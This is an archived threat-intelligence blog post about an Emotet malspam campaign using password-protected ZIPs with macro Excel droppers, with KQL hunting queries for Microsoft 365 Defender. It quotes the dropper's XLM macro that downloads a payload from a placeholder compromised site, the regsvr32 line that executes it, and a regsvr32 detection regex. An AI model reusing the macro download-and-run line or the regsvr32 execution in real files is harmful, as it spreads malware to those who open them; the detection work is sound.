{
	"id": "64d4a819-dd67-4d75-a450-a89b0dcd3619",
	"created_at": "2026-04-06T00:10:14.15653Z",
	"updated_at": "2026-04-10T03:21:49.662355Z",
	"deleted_at": null,
	"sha1_hash": "3abc16edabef6768abd82d8e906aef499ec4825a",
	"title": "Hunting Emotet campaigns with Kusto",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 411944,
	"plain_text": "Hunting Emotet campaigns with Kusto\r\nBy Bart Parys\r\nPublished: 2022-03-23 · Archived: 2026-04-05 19:13:13 UTC\r\nIntroduction\r\nEmotet doesn’t need an introduction anymore – it is one of the more prolific cybercriminal gangs and has been\r\naround for many years. In January 2021, a disruption effort took place via Europol and other law enforcement\r\nauthorities to take Emotet down for good. [1] Indeed, there was a significant decrease in Emotet malicious spam\r\n(malspam) and phishing campaigns for the next few months after the takedown event.\r\nIn November 2021 however, Emotet had returned [2] and is once again targeting organisations on a global scale\r\nacross multiple sectors.\r\nStarting March 10th 2022, we detected a massive malspam campaign that delivers Emotet (and further payloads)\r\nvia encrypted (password-protected) ZIP files. The campaign continues as of writing of this blog post on March\r\n23rd, albeit it appears the campaign is lowering in frequency. The campaign appears to be initiated by Emotet’s\r\nEpoch4 and (mainly) Epoch5 botnet nodes.\r\nIn this blog post, we will first have a look at the particular Emotet campaign, and expand on detection and hunting\r\nrules using the Kusto Query Language (KQL).\r\nEmotet Campaign\r\nThe malspam campaign itself has the following pattern:\r\n1. An organisation’s email server is abused / compromised to send the initial email\r\n2. The email has a spoofed display name, purporting to be legitimate\r\n3. The subject of the email is a reply “RE:” or forward “FW:” and contains the recipient’s email address\r\n4. The body of the email contains only a few single sentences and a password to open the attachment\r\n5. The attachment is an encrypted ZIP file, likely an attempt to evade detections, which in turn contains a\r\nmacro-enabled Excel document (.XLSM)\r\n6. The Excel will in turn download the Emotet payload\r\n7. Finally, Emotet may download one of the next stages (e.g. CobaltStrike, SystemBC, or other malware)\r\nTwo examples of the email received can be observed in Figure 1. Note the target email address in the subject.\r\nhttps://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nPage 1 of 6\n\nFigure 1 – Two example malspam emails\r\nWe have observed emails sent in multiple languages, including, but not limited to: Spanish, Portuguese, German,\r\nFrench, English and Dutch.\r\nThe malspam emails are typically sent from compromised email servers across multiple organisations. Some of\r\nthe top sending domains (based on country code) observed is shown in Figure 2.\r\nFigure 2 – Top sender (compromised) email domains\r\nThe attachment naming scheme follow a somewhat irregular pattern: split between text and seemingly random\r\nnumbers, again potentially to evade detection. A few examples of attachment names that are prepended is shown\r\nin Figure 3.\r\nhttps://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nPage 2 of 6\n\nFigure 3 – Example attachment names\r\nAfter opening the attachment with password provided (typically a 3-4 character password), an Excel file with the\r\nsame name as the ZIP is observed. When opening the Excel file, we are presented with the usual banner to Enable\r\nMacros to make use of all features, as can be seen in Figure 4.\r\nFigure 4 – Low effort Excel dropper\r\nEnabling macros, via an XLM4.0 macro and hidden sheet or cell happens as follows:\r\n=CALL(\"urlmon\", \"URLDownloadToFileA\", \"JCCB\", 0, \"http://\u003ccompromised_website\u003e/0Rq5zobAZB/\", \"..\\wn.ocx\")\r\nAnd will then result in regsvr32 downloading and executing an OCX file (DLL):\r\nC:\\Windows\\SysWow64\\regsvr32.exe -s ..\\en.ocx\r\nhttps://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nPage 3 of 6\n\nThis OCX file is in term the Emotet payload. Emotet can then, as mentioned, either leverage one of its modules\r\n(plugins) for data exfiltration, or download the next malware stage as part of its attack campaign.\r\nWe will not analyse the Emotet malware itself, but rather focus on how to hunt several parts of the stage using the\r\nKusto Query Language (KQL) in environments that make use of Office 365.\r\nGranted you are ingesting the right logs (license and setup) and have the necessary permissions (Security Reader\r\nwill suffice), visit the Microsoft 365 Defender Advanced Hunting’s page and query builder:\r\nhttps://security.microsoft.com/v2/advanced-hunting\r\nQuery I – Hunting the initial campaign\r\nFirst, we want to track the scope and size of the initial Emotet campaign. We can build the following query:\r\nEmailAttachmentInfo\r\n| where FileType == \"zip\" and FileName endswith_cs \"zip\"\r\n| join kind=inner (EmailEvents | where Subject contains RecipientEmailAddress and DeliveryAction == \"Delivered\"\r\nThe query above focuses on Step 3 of this campaign: The subject of the email is a reply “RE:” or forward “FW:”\r\nand contains the recipient’s email address. In this query, we filter on:\r\n1. Any email that has a ZIP attachment;\r\n2. Where the subject contains the recipient’s email address;\r\n3. Where the email direction is inbound and the mail is delivered (so not junked or blocked).\r\nThis yields 22% of emails that have been delivered – the others have either been blocked or junked. However, we\r\nknow that this campaign is larger and might have been more successful.\r\nMeaning, we need to improve our query. We can now create an improved query like below, where the sender\r\ndisplay name has an alias (or is spoofed):\r\nEmailAttachmentInfo\r\n| where FileType == \"zip\" and FileName endswith_cs \"zip\" and SenderDisplayName startswith_cs \"\u003c\"\r\n| join kind=inner (EmailEvents | where EmailDirection == \"Inbound\" and DeliveryAction == \"Delivered\") on Network\r\nThis query now results in 25% of emails that have been delivered, for the same timespan (campaign scope \u0026 size)\r\nas set before. The query can now further be finetuned to show all emails except the blocked ones. Even when\r\nmalspam or phishing emails are Junked, the user may manually go to the Junk Folder, open the email / attachment\r\nand from there get compromised.\r\nThe final query:\r\nEmailAttachmentInfo\r\n| where FileType == \"zip\" and FileName endswith_cs \"zip\" and SenderDisplayName startswith_cs \"\u003c\"\r\n| join kind=inner (EmailEvents | where EmailDirection == \"Inbound\" and DeliveryAction != \"Blocked\") on NetworkMe\r\nhttps://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nPage 4 of 6\n\nThis query now displays 73% of the whole Emotet malspam campaign. You can now export the result, create\r\nstatistics and blocking rules, notify users and improve settings or policies where required. An additional user\r\nawareness campaign can help to stress that Junked emails should not be opened when it can be avoided.\r\nAs an extra, if you merely want to create statistics on Delivered versus Junked versus Blocked, the following\r\nquery will do just that:\r\nEmailAttachmentInfo\r\n| where FileType == \"zip\" and FileName endswith_cs \"zip\" and SenderDisplayName startswith_cs \"\u003c\"\r\n| join kind=inner (EmailEvents | where EmailDirection == \"Inbound\") on NetworkMessageId, SenderFromAddress, Reci\r\n| summarize Count = count() by DeliveryAction\r\nQuery II – Filtering on malspam attachment name\r\nThis query is of lower fidelity than others in this blog, as it can produce a large number of False Positives (FPs),\r\ndepending on your organisations’ geographical location and amount of emails received. Nevertheless, it can be\r\nuseful to run the query and build further on it – creating a baseline. The query below displays an extract of\r\nsubjects from Table 1 and according hunt:\r\nlet attachmentname = dynamic([\"adjunto\",\"adjuntos\",\"anhang\",\"archiv\",\"archivo\",\"attachment\",\"avis\",\"aviso\",\"ber\r\nEmailAttachmentInfo\r\n| where FileName has_any(attachmentname) and strlen(FileName) \u003c 20 and FileType == \"zip\"\r\n| join EmailEvents on NetworkMessageId\r\n| where DeliveryAction == \"Delivered\" and EmailDirection == \"Inbound\"\r\nRunning this rule delivers a considerable amount of results, even when applying the string length (strlen) to be\r\nless than 20 characters as we have observed in this campaign. Finetune the query, we can add one more line to\r\nfilter on display name as we have also created in Query I:\r\nlet attachmentname = dynamic([\"adjunto\",\"adjuntos\",\"anhang\",\"archiv\",\"archivo\",\"attachment\",\"avis\",\"aviso\",\"ber\r\nEmailAttachmentInfo\r\n| where FileName has_any(attachmentname) and strlen(FileName) \u003c 20 and FileType == \"zip\" and SenderDisplayName s\r\n| join EmailEvents on NetworkMessageId\r\n| where DeliveryAction == \"Delivered\" and EmailDirection == \"Inbound\"\r\nThis now results in 20% True Positives (TP) as opposed to the original query, where we would have needed to\r\nfilter extensively. Note this query can be further adopted to your needs, for example, you could remove the\r\nSenderDisplayName parameter again, and set other parameters (e.g. string length, email language, …).\r\nQuery III – Searching for regsvr32 doing bad things\r\nMost detection \u0026 hunting teams, Security Operation Center (SOC) analysts, incident responders and so on will be\r\nacquainted with the term “lolbins”, also known as living off the land binaries. In short, any binary that is part of\r\nhttps://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nPage 5 of 6\n\nthe native Operating System, in this case Windows, and which can be abused for other purposes than what it is\r\nintended for.\r\nIn this case, regsvr32 is leveraged – it is typically used by attackers to – you guessed it – register and execute\r\nDLLs! The query below will leverage a simple regular expression (regex) to hunt for execution of regsvr32\r\nattempting to run an OCX file, as was seen in this Emotet campaign.\r\nDeviceProcessEvents\r\n| where FileName =~ \"regsvr32.exe\" and ProcessCommandLine matches regex @\"\\.\\.\\\\.+\\.ocx$\"\r\nConclusion\r\nEmotet is still a significant threat to be reckoned with since its return near the end of last year.\r\nThis blog post focused on dissecting Emotet’s latest malspam campaign as well as creating hunting queries using\r\nKQL to hunt for and respond to any potential security incident. The queries can also be converted to other formats\r\n(e.g. Splunk Query Language using https://uncoder.io/ for example) to allow for broader hunting efforts or where\r\nusing KQL might not be an option.\r\nThanks to my colleague Maxime Thiebaut (@0xthiebaut) for assistance in building the queries.\r\nAbout the author\r\nBart\r\nParys\r\nBart is a manager at NVISO where he mainly focuses on Threat Intelligence, Incident\r\nResponse and Malware Analysis. As an experienced consumer, curator and creator of\r\nThreat Intelligence, Bart loves to and has written many TI reports on multiple levels\r\nsuch as strategic and operational across a wide variety of sectors and geographies.\r\nTwitter: @bartblaze\r\nSource: https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nhttps://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/"
	],
	"report_names": [
		"hunting-emotet-campaigns-with-kusto"
	],
	"threat_actors": [],
	"ts_created_at": 1775434214,
	"ts_updated_at": 1775791309,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3abc16edabef6768abd82d8e906aef499ec4825a.pdf",
		"text": "https://archive.orkl.eu/3abc16edabef6768abd82d8e906aef499ec4825a.txt",
		"img": "https://archive.orkl.eu/3abc16edabef6768abd82d8e906aef499ec4825a.jpg"
	}
}